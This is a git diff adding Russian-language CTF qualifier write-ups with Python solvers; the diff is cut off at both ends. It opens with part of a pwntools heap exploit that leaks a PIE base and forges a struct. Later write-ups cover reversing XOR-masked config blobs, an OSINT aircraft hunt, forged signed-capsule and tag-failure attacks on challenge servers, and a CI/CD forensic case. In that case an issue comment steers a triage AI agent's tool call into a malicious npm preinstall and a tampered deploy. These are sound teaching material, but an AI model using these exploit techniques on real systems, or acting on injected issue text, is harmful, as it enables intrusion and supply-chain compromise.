io.recvuntil(b"name:") + io.sendline(b"east-mirror") + io.recvuntil(b"memo:") + io.sendline(b"leased partner route") + + choose(io, 4) + io.recvuntil(b"slot:") + io.sendline(b"0") + io.recvuntil(b"handler=") + leaked_handler = int(io.recvuntil(b" approved=")[: -len(b" approved=")], 16) + pie_base = leaked_handler - route_status + target = pie_base + flag_export + + choose(io, 2) + io.recvuntil(b"slot:") + io.sendline(b"0") + + forged = struct.pack("Mileage MDM + ++
+ +В раздатке есть `MileageMDM.ipa` и `NOTES.md` со схемой маскирования. MDM-агент автопарка хранит офлайн-доказательство подлинности профиля и карту API-селекторов. Нужно связать параметры профиля с блоком данных в Mach-O. + +## Решение + +Распаковываем IPA как ZIP и смотрим `Payload/MileageMDM.app/`: + +| Файл | Что ищем | +|---|---| +| `Info.plist` | Значение `AttestSeed` | +| `embedded.mobileprovision` | Тот же seed для сверки | +| `MileageMDM` | Маркер `MDMPROOF` и зашифрованную карту | + +Согласно `NOTES.md`, ключ состоит из первых 16 байт SHA-256 от `AttestSeed`, а данные скрыты повторяющимся XOR. Seed лежит в `Info.plist` и дублируется в профиле, так что секретным он не является. + +В бинаре находим `MDMPROOF`. Следующие четыре байта — длина блока в little-endian, дальше идёт сам блок. Читаем `AttestSeed` из plist в переменную `seed`, а зашифрованные байты — в `blob`, затем расшифровываем: + +```python +import hashlib +import json +import plistlib +import zipfile + +with zipfile.ZipFile("public/MileageMDM.ipa") as ipa: + data = ipa.read("Payload/MileageMDM.app/MileageMDM") + profile = plistlib.loads(ipa.read("Payload/MileageMDM.app/Info.plist")) +seed = profile["AttestSeed"] +pos = data.index(b"MDMPROOF") + len(b"MDMPROOF") +size = int.from_bytes(data[pos:pos + 4], "little") +blob = data[pos + 4:pos + 4 + size] +key = hashlib.sha256(seed.encode()).digest()[:16] +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +proof = json.loads(plain) +print(proof["flag"]) +``` + +Важно брать байты хеша через `digest()`, а не первые 16 символов hex-представления. С правильным ключом получается JSON-карта селекторов, в которой поле `flag` содержит искомое доказательство. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{selector_hashes_opened_the_mdm_proof}` diff --git a/qualifiers/mileage-mdm-ios-reverse-hard/solve/solve.py b/qualifiers/mileage-mdm-ios-reverse-hard/solve/solve.py new file mode 100644 index 0000000..275dace --- /dev/null +++ b/qualifiers/mileage-mdm-ios-reverse-hard/solve/solve.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('Modbus Mirror + ++
+
+
+ +В раздатке есть диагностическая утилита `modbus_mirror`, написанная на C для PLC/Modbus-контура. Внутри находится зеркальная таблица ladder-регистров с сервисным ключом. Начинаем с разбора данных, которые использует утилита. + +## Решение + +В Ghidra или IDA видим `validate_frame`, проверку CRC16 и обработку регистров. Рядом со строками и кодом валидации встречаются `MMIRCFG` и `modbus-mirror`. Первый похож на сигнатуру контейнера, второй используется как XOR-ключ. + +Разметка блока оказывается такой: + +```text +MMIRCFG | длина u32 LE | зашифрованный JSON +``` + +Длина нужна, чтобы отделить полезные данные от остального ELF. Находим маркер, читаем размер и берём ровно соответствующий фрагмент: + +```python +from pathlib import Path +import json + +data = Path("public/modbus_mirror").read_bytes() +pos = data.index(b"MMIRCFG") + len(b"MMIRCFG") +size = int.from_bytes(data[pos:pos + 4], "little") +blob = data[pos + 4:pos + 4 + size] +key = b"modbus-mirror" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +print(json.loads(plain)["service"]) +``` + +После XOR получаем JSON с зеркалом регистров. Поле `service` содержит сервисный ключ — это и есть флаг. Логика Modbus помогла найти место использования конфига, но генерировать корректные кадры для решения не требуется. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{ladder_registers_reflected_the_service_key}` diff --git a/qualifiers/modbus-mirror-native-c-reverse-medium/solve/solve.py b/qualifiers/modbus-mirror-native-c-reverse-medium/solve/solve.py new file mode 100644 index 0000000..a32d8ec --- /dev/null +++ b/qualifiers/modbus-mirror-native-c-reverse-medium/solve/solve.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('Призрачный самолёт + ++
+
+
+ +На старте есть изображение аэропорта. По нему нужно найти «криминального брата» пострадавшего двухдвигательного самолёта. В ответе нужны название аэропорта с изображения, регистрационный номер найденного самолёта и его последние известные координаты. Сначала определяем аэропорт на изображении. + ++
+
+ +## Решение + +По изображению находим [Higuerote Airport на Flightsim.to](https://flightsim.to/file/14146/higuerote-airport-svhg). Это **Игероте, Венесуэла**. Картинка относится к сценарию аэропорта для симулятора, но даёт название места для дальнейшего поиска. + ++
++ +По запросам об Игероте выходим на сообщения об уничтоженных самолётах и [разбор атаки на Air Power Asia](https://airpowerasia.com/2026/01/11/how-us-airpower-dominance-paved-the-way-to-capture-venezuelas-maduro/). В статье самолёт, уничтоженный в Игероте, назван предположительно **Beechcraft Baron**. Берём это семейство как зацепку для следующего поиска. + +Поиск сообщений об Игероте
+ ++
+ ++
+
+ ++
+
+ ++
++ +Теперь ищем исчезнувшие Beechcraft Baron, связанные с Венесуэлой. Находим [запись Aviation Safety Network](https://aviation-safety.net/wikibase/232818): **Beechcraft 58 Baron**, регистрация `YV3338`, серийный номер `TH-485`. В карточке описан сгоревший самолёт, найденный в Белизе и связанный с перевозкой наркотиков. По приведённым сообщениям СМИ, это мог быть YV3338, незадолго до того исчезнувший в Венесуэле. Связь с перевозкой наркотиков соответствует подсказке про «криминального брата», поэтому дальше проверяем регистрационный номер. + +Спутниковый снимок аэропорта после атаки
+ ++
+ ++
+
+ +Регистрационный номер приводит к [новости El Nacional об исчезновении рейса Анако — Маракайбо](https://www.elnacional.com/2020/02/declaran-desaparecida-aeronave-que-salio-desde-anaco-hacia-maracaibo/). В ней есть ссылки на сообщения в X, в том числе [пост MeteoZulia](https://x.com/MeteoZulia/status/1225421481313808390) с последней позицией самолёта. + ++
+
+ ++
+
+ +Открываем карту из поста в полном размере и читаем `10°04'06"N 71°12'34"W`. + ++
+
+ +Для ответа используем последнюю зафиксированную позицию, а не место, где позже нашли самолёт. + +| Что нашли | Значение | +|---|---| +| Аэропорт с исходной картинки | `Higuerote` | +| Модель | `Beechcraft 58 Baron` | +| Регистрационный номер | `YV3338` | +| Последняя позиция | `10°04'06"N 71°12'34"W` | + +Флаг собираем из названия аэропорта, регистрации YV3338 и координат последнего контакта, сохраняя градусы, минуты и секунды. + +## Флаг + +`Caplag{Higuerote_YV3338_10°04'06"N 71°12'34"W}` + +Самолёт объявлен в розыск. За вашими бананами уже выехали. + ++
+
diff --git a/qualifiers/prizrachniy-samolet/assets/aircraft-wreck.png b/qualifiers/prizrachniy-samolet/assets/aircraft-wreck.png new file mode 100644 index 0000000..241f465 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/aircraft-wreck.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/banana-aircraft.png b/qualifiers/prizrachniy-samolet/assets/banana-aircraft.png new file mode 100644 index 0000000..f6a4ef3 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/banana-aircraft.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/baron-identification.png b/qualifiers/prizrachniy-samolet/assets/baron-identification.png new file mode 100644 index 0000000..bfa62d6 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/baron-identification.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/coordinates-map.png b/qualifiers/prizrachniy-samolet/assets/coordinates-map.png new file mode 100644 index 0000000..4cd87ab Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/coordinates-map.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/higuerote-satellite.png b/qualifiers/prizrachniy-samolet/assets/higuerote-satellite.png new file mode 100644 index 0000000..c29eb9b Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/higuerote-satellite.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/higuerote-search.png b/qualifiers/prizrachniy-samolet/assets/higuerote-search.png new file mode 100644 index 0000000..02ec180 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/higuerote-search.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/higuerote.png b/qualifiers/prizrachniy-samolet/assets/higuerote.png new file mode 100644 index 0000000..c73f738 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/higuerote.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/last-position.png b/qualifiers/prizrachniy-samolet/assets/last-position.png new file mode 100644 index 0000000..a543f36 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/last-position.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/news-posts.png b/qualifiers/prizrachniy-samolet/assets/news-posts.png new file mode 100644 index 0000000..7c76042 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/news-posts.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/yv3338-record.png b/qualifiers/prizrachniy-samolet/assets/yv3338-record.png new file mode 100644 index 0000000..cc7eb91 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/yv3338-record.png differ diff --git a/qualifiers/runner-ashfall-forensic-hard/WRITEUP.md b/qualifiers/runner-ashfall-forensic-hard/WRITEUP.md new file mode 100644 index 0000000..ed442db --- /dev/null +++ b/qualifiers/runner-ashfall-forensic-hard/WRITEUP.md @@ -0,0 +1,91 @@ ++
Runner Ashfall
+ ++
+ +В `runner_ashfall_case.zip` собраны следы инцидента в CI/CD: комментарий к issue, действия агента, установка npm-пакета, облачная авторизация и деплой. Первые девять ответов восстанавливаем по журналам. Из них получаем ключ к финальной заметке с десятым флагом. + +## Решение + +Распаковываем архив. Полезные артефакты удобно разделить по участкам цепочки: + +| Каталог | Содержимое | +|---|---| +| `github/`, `agent/` | Issue, вызовы инструментов, CI run и attestation | +| `repo/`, `npm/` | Lockfile до и после, индекс кеша и копия `preinstall.js` | +| `runner/` | События процессов и файлов | +| `cloud/` | OIDC-токены, CloudTrail и закрывающая заметка | +| `registry/`, `kubernetes/` | События образов и фактическое обновление deployment | + +### Комментарий и запуск CI (Q01–Q03) + +В `github/audit_log.jsonl` ищем `issue_comment.created` с меткой `release-triage` и объектом `agent_route`. Его `source_key` — `issue-1842-comment-7f31`, первый ответ. Похожий комментарий с меткой `docs` дальше в эту цепочку не попадает. + +В `agent/triage_assistant.jsonl` ищем событие `tool_call`, у которого `input.from_issue` совпадает с найденным `source_key`. У вызова `deploy_plan.render` читаем `tool_call_id`, равный `tool.deploy_plan.render:6d91c0`. Это второй ответ. + +В `github/actions/` ищем запуск, у которого `source.tool_call_id` совпадает с найденным вызовом. Подходит `run_8716443.json`, из которого берём `tuple = run-8716443/check-314159265`. С найденными идентификаторами запуска сверяем остальные события. + +### Пакет, кеш и раннер (Q04–Q06) + +Сравниваем `repo/package-lock.before.json` и `repo/package-lock.after.json`. В новом lockfile выделяется зависимость с `hasInstallScript = true`: `@northstar/ledger-seal@2.8.4-ash.3`. Флаг `hasInstallScript` указывает на скрипт установки. Его имя проверяем по событиям раннера. + +В `npm/_cacache/index-v5/ledger-seal-entry.json` сверяем имя и версию пакета, затем читаем `cache_path`. Получаем путь к содержимому кеша — ответ Q05. + +По этому пути ищем процесс в `runner/process_events.jsonl`. У него должны совпасть `run_id=8716443` и `check_run_id=314159265`, а команда содержит `node ... preinstall.js`. Поле `host` даёт `ghr-prod-x64-ephemeral-0c8a7d`, ответ Q06. Другой ephemeral-раннер относится к старому запуску и сюда не подходит. + +### Облачные права и деплой (Q07–Q09) + +Из `jobs[0].job_id` в JSON запуска берём `9317`. В `cloud/oidc_tokens.jsonl` выбираем токен по тройке run/check/job и сохраняем его `sub` целиком. Так получаем Q07 и связываем облачную авторизацию с конкретной работой CI. + +В `cloud/cloudtrail.jsonl` находим `PutObject`, у которого `x-amz-meta-run-id` и `x-amz-meta-check-run-id` совпадают с исследуемым запуском. `responseElements.object_locator` содержит bucket, key и версию объекта — это Q08. + +Остаётся выяснить, что действительно развернули. В `kubernetes/audit.jsonl` ищем `patch` deployment `staging/recon-ledger`. Аннотация `northstar.io/source-object` должна точно совпасть с Q08. Из `requestObject.spec.template.spec.containers[0].image` берём полный адрес образа с digest, ответ Q09. + +> Digest в attestation описывает результат сборки до подмены артефакта. Для ответа о деплое нужен образ из Kubernetes patch, связанный с конкретной версией объекта. + +### Финальная заметка (Q10) + +`cloud/final_closeout.note` содержит `nonce`, `ciphertext` и `mac`. `nonce` и `ciphertext` переводим из hex в байты, `mac` оставляем hex-строкой. Ответы Q01–Q09 записываем строками в список `raw_answers` **без** оболочки `caplag{...}`, сохраняя порядок. Для ключа соединяем их разделителем `|`. + +```python +import hashlib + +key = hashlib.sha256("|".join(raw_answers).encode()).digest() +expected_mac = hashlib.sha256(key + nonce + ciphertext).hexdigest() +assert expected_mac == mac +``` + +Сначала сверяем `expected_mac` с `mac`: ошибка хотя бы в одном ответе даст несовпадение. Затем получаем seed потока и его блоки: + +```python +seed = hashlib.sha256(key + nonce).digest() +stream = bytearray() +counter = 0 +while len(stream) < len(ciphertext): + stream.extend(hashlib.sha256(seed + counter.to_bytes(4, "big")).digest()) + counter += 1 +plain = bytes(a ^ b for a, b in zip(ciphertext, stream)) +``` + +Счётчик начинается с нуля. `zip` ограничивает XOR длиной шифротекста. Декодируем `plain` как UTF-8 и разбираем JSON, поле `final_flag` содержит последний ответ. + +Получилась сквозная цепочка событий. Текст issue запустил инструмент агента, тот создал CI run, установка зависимости привела к действиям на раннере, а связанные облачные события — к подменённому деплою. Точные идентификаторы на каждом переходе позволяют отделить её от ложных следов. + +[Солвер](solve/solve.py). + +## Все этапы + +| Этап | Флаг | +|---|---| +| 1 | `caplag{issue-1842-comment-7f31}` | +| 2 | `caplag{tool.deploy_plan.render:6d91c0}` | +| 3 | `caplag{run-8716443/check-314159265}` | +| 4 | `caplag{@northstar/ledger-seal@2.8.4-ash.3}` | +| 5 | `caplag{sha512/6a/2d/6a2dc1e9b4f0d776a8e2b8fd47025703e617b1d9a61b88d5ad7b2c9f2e6a10f4}` | +| 6 | `caplag{ghr-prod-x64-ephemeral-0c8a7d}` | +| 7 | `caplag{repo:northstar-clearing/recon-ledger:ref:refs/heads/staging:workflow:release.yml:job_id:9317}` | +| 8 | `caplag{s3://nstar-stage-artifacts/releases/recon-ledger/2026.05.14/recon-ledger.tgz#v7d4b19e2}` | +| 9 | `caplag{registry.local/northstar/recon-ledger@sha256:9c2fd7f0d2b541e0b44267cc8d59a7cf508b1e3a7e422bcf1ac8a2d1377f1cc4}` | +| 10 | `caplag{runner_ashfall_ci_blast_radius}` | diff --git a/qualifiers/runner-ashfall-forensic-hard/solve/solve.py b/qualifiers/runner-ashfall-forensic-hard/solve/solve.py new file mode 100644 index 0000000..770f22a --- /dev/null +++ b/qualifiers/runner-ashfall-forensic-hard/solve/solve.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import hashlib +import json +import sys +import zipfile +from pathlib import Path +from typing import Any + + +def read_text(zf: zipfile.ZipFile, name: str) -> str: + return zf.read(name).decode("utf-8") + + +def read_json(zf: zipfile.ZipFile, name: str) -> Any: + return json.loads(read_text(zf, name)) + + +def read_jsonl(zf: zipfile.ZipFile, name: str) -> list[dict[str, Any]]: + rows = [] + for line in read_text(zf, name).splitlines(): + line = line.strip() + if line: + rows.append(json.loads(line)) + return rows + + +def derive_key(raw_answers: list[str]) -> bytes: + return hashlib.sha256("|".join(raw_answers).encode("utf-8")).digest() + + +def xor_stream(key: bytes, length: int) -> bytes: + stream = bytearray() + counter = 0 + while len(stream) < length: + stream.extend(hashlib.sha256(key + counter.to_bytes(4, "big")).digest()) + counter += 1 + return bytes(stream[:length]) + + +def decrypt_closeout(note: bytes, raw_answers: list[str]) -> dict[str, Any]: + wrapped = json.loads(note.decode("utf-8")) + key = derive_key(raw_answers) + nonce = bytes.fromhex(wrapped["nonce"]) + ciphertext = bytes.fromhex(wrapped["ciphertext"]) + expected_mac = hashlib.sha256(key + nonce + ciphertext).hexdigest() + if wrapped["mac"] != expected_mac: + raise ValueError("closeout note MAC mismatch; one of Q01-Q09 is wrong") + stream = xor_stream(hashlib.sha256(key + nonce).digest(), len(ciphertext)) + plaintext = bytes(a ^ b for a, b in zip(ciphertext, stream)) + return json.loads(plaintext.decode("utf-8")) + + +def wrap_answer(value: str) -> str: + if value.startswith("caplag{"): + return value + return f"caplag{{{value}}}" + + +def recover_raw_answers(zf: zipfile.ZipFile) -> list[str]: + raw: list[str] = [] + + audit = read_jsonl(zf, "github/audit_log.jsonl") + issue_event = next( + row + for row in audit + if row.get("event") == "issue_comment.created" + and "release-triage" in row.get("labels", []) + and "agent_route" in row + ) + raw.append(issue_event["agent_route"]["source_key"]) + + agent = read_jsonl(zf, "agent/triage_assistant.jsonl") + tool_call = next( + row + for row in agent + if row.get("event") == "tool_call" + and row.get("tool") == "deploy_plan.render" + and row.get("input", {}).get("from_issue") == raw[0] + ) + raw.append(tool_call["tool_call_id"]) + + run = read_json(zf, "github/actions/run_8716443.json") + if run["source"]["tool_call_id"] != raw[1]: + raise ValueError("run source does not match recovered tool call") + raw.append(run["tuple"]) + + lockfile = read_json(zf, "repo/package-lock.after.json") + suspicious_pkg = None + for package_path, package_info in lockfile["packages"].items(): + if not package_path.startswith("node_modules/"): + continue + if package_info.get("hasInstallScript"): + package_name = package_path.removeprefix("node_modules/") + suspicious_pkg = f"{package_name}@{package_info['version']}" + break + if suspicious_pkg is None: + raise ValueError("no install-script package found") + raw.append(suspicious_pkg) + + npm_entry = read_json(zf, "npm/_cacache/index-v5/ledger-seal-entry.json") + if f"{npm_entry['package']}@{npm_entry['version']}" != raw[3]: + raise ValueError("npm cache entry does not match lockfile package") + raw.append(npm_entry["cache_path"]) + + runner_events = read_jsonl(zf, "runner/process_events.jsonl") + run_id = int(raw[2].split("/", 1)[0].removeprefix("run-")) + check_run_id = int(raw[2].split("/", 1)[1].removeprefix("check-")) + runner_event = next( + row + for row in runner_events + if row.get("run_id") == run_id + and row.get("check_run_id") == check_run_id + and raw[4] in row.get("cmd", "") + ) + raw.append(runner_event["host"]) + + oidc_tokens = read_jsonl(zf, "cloud/oidc_tokens.jsonl") + job_id = run["jobs"][0]["job_id"] + oidc = next( + row + for row in oidc_tokens + if row.get("run_id") == run_id + and row.get("check_run_id") == check_run_id + and row.get("job_id") == job_id + ) + raw.append(oidc["sub"]) + + cloudtrail = read_jsonl(zf, "cloud/cloudtrail.jsonl") + put_object = next( + row + for row in cloudtrail + if row.get("eventName") == "PutObject" + and row.get("requestParameters", {}).get("x-amz-meta-run-id") == str(run_id) + and row.get("requestParameters", {}).get("x-amz-meta-check-run-id") == str(check_run_id) + ) + raw.append(put_object["responseElements"]["object_locator"]) + + kube_audit = read_jsonl(zf, "kubernetes/audit.jsonl") + deploy_patch = next( + row + for row in kube_audit + if row.get("verb") == "patch" + and row.get("objectRef", {}).get("resource") == "deployments" + and row.get("objectRef", {}).get("name") == "recon-ledger" + and row.get("requestObject", {}) + .get("metadata", {}) + .get("annotations", {}) + .get("northstar.io/source-object") + == raw[7] + ) + image = deploy_patch["requestObject"]["spec"]["template"]["spec"]["containers"][0]["image"] + raw.append(image) + + return raw + + +def solve_bundle(bundle_path: str | Path) -> list[str]: + with zipfile.ZipFile(bundle_path) as zf: + raw = recover_raw_answers(zf) + closeout = decrypt_closeout(zf.read("cloud/final_closeout.note"), raw) + return [wrap_answer(value) for value in raw] + [wrap_answer(closeout["final_flag"])] + + +def main(argv: list[str]) -> int: + if len(argv) != 2: + print(f"usage: {Path(argv[0]).name} public/runner_ashfall_case.zip", file=sys.stderr) + return 2 + answers = solve_bundle(argv[1]) + for idx, answer in enumerate(answers, 1): + print(f"Q{idx:02d}: {answer}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/qualifiers/sealtail-crypto-easy/WRITEUP.md b/qualifiers/sealtail-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..0b6d40c --- /dev/null +++ b/qualifiers/sealtail-crypto-easy/WRITEUP.md @@ -0,0 +1,54 @@ ++
+
SealTail
+ ++
+ +Релизная очередь принимает `release.capsule`: заголовок, RSA-подпись и команды в TLV-формате. В заголовке есть `signed_len` — длина подписанной части. Проверяющий использует именно её, а очередь после успешной проверки разбирает весь payload до конца файла. + +## Решение + +Сначала прогоняем исходную капсулу через публичный verifier: + +```bash +python3 public/verify_capsule.py public/release.capsule +``` + +Он показывает `signature_valid=True`, `payload_len=181`, `signed_len=181`, `unsigned_tail_len=0`. Пока подпись покрывает весь payload, неподписанного хвоста нет. + +Открываем `FORMAT.md`. Для экспорта карантинного ключа предусмотрен тег `0x42 EXPORT_QUARANTINE_KEY`. TLV-запись состоит из байта тега, двух байт длины в big-endian и значения. Дописываем такую команду в конец капсулы: + +```python +from pathlib import Path + +value = (b"lane=quarantine\nrequestor=release-audit\n" + b"reason=post-signature-tail-check\n") +tail = bytes([0x42]) + len(value).to_bytes(2, "big") + value +original = Path("public/release.capsule").read_bytes() +Path("modified.capsule").write_bytes(original + tail) +``` + +Подписанные байты и `signed_len` остались прежними. Проверяем модифицированный файл той же утилитой. Значение `unsigned_tail_len` должно стать больше нуля, а `signature_valid` остаться `True`. + +```bash +python3 public/verify_capsule.py modified.capsule +``` + +Отправляем капсулу в очередь: + +```bash +curl -sS --data-binary @modified.capsule \ + -H 'Content-Type: application/octet-stream' \ + http://+
+
:31337/submit +``` + +RSA-проверка принимает исходный префикс, затем TLV-парсер доходит до добавленной неподписанной команды и возвращает ключ с флагом. + +> Подпись подтверждает только те байты, которые в неё включили. Если после проверки исполнять ещё и неподписанный хвост, целостность всего релиза она уже не гарантирует. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{signed_prefix_is_not_a_release}` diff --git a/qualifiers/sealtail-crypto-easy/solve/solve.py b/qualifiers/sealtail-crypto-easy/solve/solve.py new file mode 100644 index 0000000..77f02ff --- /dev/null +++ b/qualifiers/sealtail-crypto-easy/solve/solve.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +import argparse +import json +import pathlib +import re +import urllib.request + + +ACTION_EXPORT_KEY = 0x42 + + +def encode_tlv(tag: int, value: bytes) -> bytes: + return bytes([tag]) + len(value).to_bytes(2, "big") + value + + +def build_modified_capsule(input_path: pathlib.Path, output_path: pathlib.Path) -> bytes: + capsule = input_path.read_bytes() + tail = encode_tlv( + ACTION_EXPORT_KEY, + b"lane=quarantine\nrequestor=release-audit\nreason=post-signature-tail-check\n", + ) + modified = capsule + tail + output_path.write_bytes(modified) + return modified + + +def submit(url: str, capsule: bytes) -> dict: + request = urllib.request.Request( + url, + data=capsule, + headers={"Content-Type": "application/octet-stream"}, + method="POST", + ) + with urllib.request.urlopen(request, timeout=5) as response: + return json.loads(response.read().decode()) + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument( + "--capsule", + default="../public/release.capsule", + help="path to the original release capsule", + ) + parser.add_argument( + "--out", + default="modified.capsule", + help="where to write the modified capsule", + ) + parser.add_argument( + "--url", + default="http://127.0.0.1:31337/submit", + help="SealTail /submit endpoint", + ) + parser.add_argument( + "--no-submit", + action="store_true", + help="only write the modified capsule", + ) + args = parser.parse_args() + + capsule_path = pathlib.Path(args.capsule) + output_path = pathlib.Path(args.out) + modified = build_modified_capsule(capsule_path, output_path) + print(f"wrote {output_path} ({len(modified)} bytes)") + + if args.no_submit: + return 0 + + result = submit(args.url, modified) + print(json.dumps(result, indent=2, sort_keys=True)) + flag = result.get("flag") + if not isinstance(flag, str) or not re.fullmatch(r"caplag\{[^{}]+\}", flag): + raise SystemExit("flag was not returned") + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/qualifiers/shardslope-crypto-easy/WRITEUP.md b/qualifiers/shardslope-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..f0c9e8f --- /dev/null +++ b/qualifiers/shardslope-crypto-easy/WRITEUP.md @@ -0,0 +1,52 @@ + ShardSlope
+ ++
+ +В `escrow_export.json` лежат две группы долей секрета по схеме Шамира с порогом `threshold = 2`. У калибровочной группы есть две доли, у карантинной — только одна. Для карантинного секрета одной доли обычно недостаточно. Но в экспорте обе группы имеют одинаковый `rng_cache_id` — проверяем, не переиспользован ли случайный коэффициент. + +## Решение + +При пороге два доли — точки на прямой над конечным полем: + +$$y = s + ax \pmod p,$$ + +где $s$ — секрет, а $a$ — случайный коэффициент наклона. Для каждого секрета коэффициент должен выбираться заново. Общий `rng_cache_id` позволяет предположить, что worker мог переиспользовать его между `calibration_batch` и `quarantine_batch`. Вычисляем коэффициент по калибровочной группе и проверяем, даст ли он осмысленный второй секрет. + +В раздатке есть `recover.py`, который восстанавливает калибровочный секрет из двух точек. По этим же точкам вычисляем наклон. + +$$a = (y_2-y_1)(x_2-x_1)^{-1} \pmod p.$$ + +Когда $a$ известен, одной карантинной доли $(x,y)$ уже хватает для расчёта $s = y-ax \pmod p$. Повторяем расчёт на Python: + +```python +from pathlib import Path +import json + +data = json.loads(Path("public/escrow_export.json").read_text()) +p = int(data["field_prime"]) +first, second = data["calibration_batch"]["shares"][:2] +x1, y1 = int(first["x"]), int(first["y"]) +x2, y2 = int(second["x"]), int(second["y"]) +slope = (y2 - y1) * pow(x2 - x1, -1, p) % p + +share = data["quarantine_batch"]["shares"][0] +secret = (int(share["y"]) - slope * int(share["x"])) % p +``` + +Остаётся перевести число в байты в big-endian: + +```python +raw = secret.to_bytes(max(1, (secret.bit_length() + 7) // 8), "big") +print(raw.decode()) +``` + +Получаем строку флага. Коэффициент, вычисленный по калибровочной группе, позволил восстановить карантинный секрет по одной доле. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{slope_reuse_breaks_2of3_escrow}` diff --git a/qualifiers/shardslope-crypto-easy/solve/solve.py b/qualifiers/shardslope-crypto-easy/solve/solve.py new file mode 100644 index 0000000..195ee1f --- /dev/null +++ b/qualifiers/shardslope-crypto-easy/solve/solve.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +import argparse +import json +import pathlib +import re + + +def inv(value: int, prime: int) -> int: + return pow(value % prime, -1, prime) + + +def int_to_bytes(value: int) -> bytes: + return value.to_bytes(max(1, (value.bit_length() + 7) // 8), "big") + + +def recover_slope(share_a: dict, share_b: dict, prime: int) -> int: + x1, y1 = int(share_a["x"]), int(share_a["y"]) + x2, y2 = int(share_b["x"]), int(share_b["y"]) + return ((y2 - y1) * inv(x2 - x1, prime)) % prime + + +def recover_secret(share: dict, slope: int, prime: int) -> int: + return (int(share["y"]) - slope * int(share["x"])) % prime + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument( + "export", + nargs="?", + default="../public/escrow_export.json", + help="path to escrow_export.json", + ) + args = parser.parse_args() + + data = json.loads(pathlib.Path(args.export).read_text()) + prime = int(data["field_prime"]) + calibration = data["calibration_batch"]["shares"] + production_share = data["quarantine_batch"]["shares"][0] + + slope = recover_slope(calibration[0], calibration[1], prime) + secret_int = recover_secret(production_share, slope, prime) + flag = int_to_bytes(secret_int).decode() + if not re.fullmatch(r"caplag\{[^{}]+\}", flag): + raise SystemExit("recovered secret is not a caplag flag") + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/qualifiers/tagpreview-crypto-easy/WRITEUP.md b/qualifiers/tagpreview-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..1191113 --- /dev/null +++ b/qualifiers/tagpreview-crypto-easy/WRITEUP.md @@ -0,0 +1,52 @@ ++
+
TagPreview
+ ++
+ +Сервис хранит запечатанную заметку и умеет проверять её целостность. При успешной проверке он подтверждает приём, но текст не показывает. Для отклонённых записей сервис возвращает поле `preview`. Проверяем его содержимое. + +## Решение + +Забираем исходную запись: + +```bash +curl -sS http://+
+
:31359/sealed-note -o note.bin +``` + +Публичный клиент на неизменённой записи получает `status=accepted` без plaintext: + +```bash +python3 public/client.py http:// :31359 +``` + +В `inspect_record()` сначала вычисляется открытый текст, затем проверяется authentication tag. Сама расшифровка до проверки ещё не раскрывает данные клиенту. Ошибка находится в ветке отказа. При несовпадении тега функция возвращает эти байты в поле `preview`. + +Последние 16 байт записи — тег. Меняем один его байт, не трогая шифротекст, чтобы расшифровка осталась прежней, а проверка провалилась: + +```python +from pathlib import Path + +record = bytearray(Path("note.bin").read_bytes()) +record[-1] ^= 1 +Path("tampered.bin").write_bytes(record) +``` + +Отправляем подготовленный `tampered.bin` в `POST /inspect` с `Content-Type: application/octet-stream`. + +```bash +curl -sS --data-binary @tampered.bin \ + -H 'Content-Type: application/octet-stream' \ + 'http:// :31359/inspect' +``` + +При несовпадении тега обработчик возвращает открытый текст вместе с флагом в поле `preview`. Одной испорченной записи достаточно, поскольку утечка происходит непосредственно в обработчике ошибки. + +> Расшифрованные байты до проверки тега нельзя отдавать вызывающему коду. Здесь проверка обнаружила повреждение, но обработчик ошибки всё равно раскрыл содержимое заметки. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{tag_failure_previewed_the_plaintext}` diff --git a/qualifiers/tagpreview-crypto-easy/solve/solve.py b/qualifiers/tagpreview-crypto-easy/solve/solve.py new file mode 100644 index 0000000..b44efe8 --- /dev/null +++ 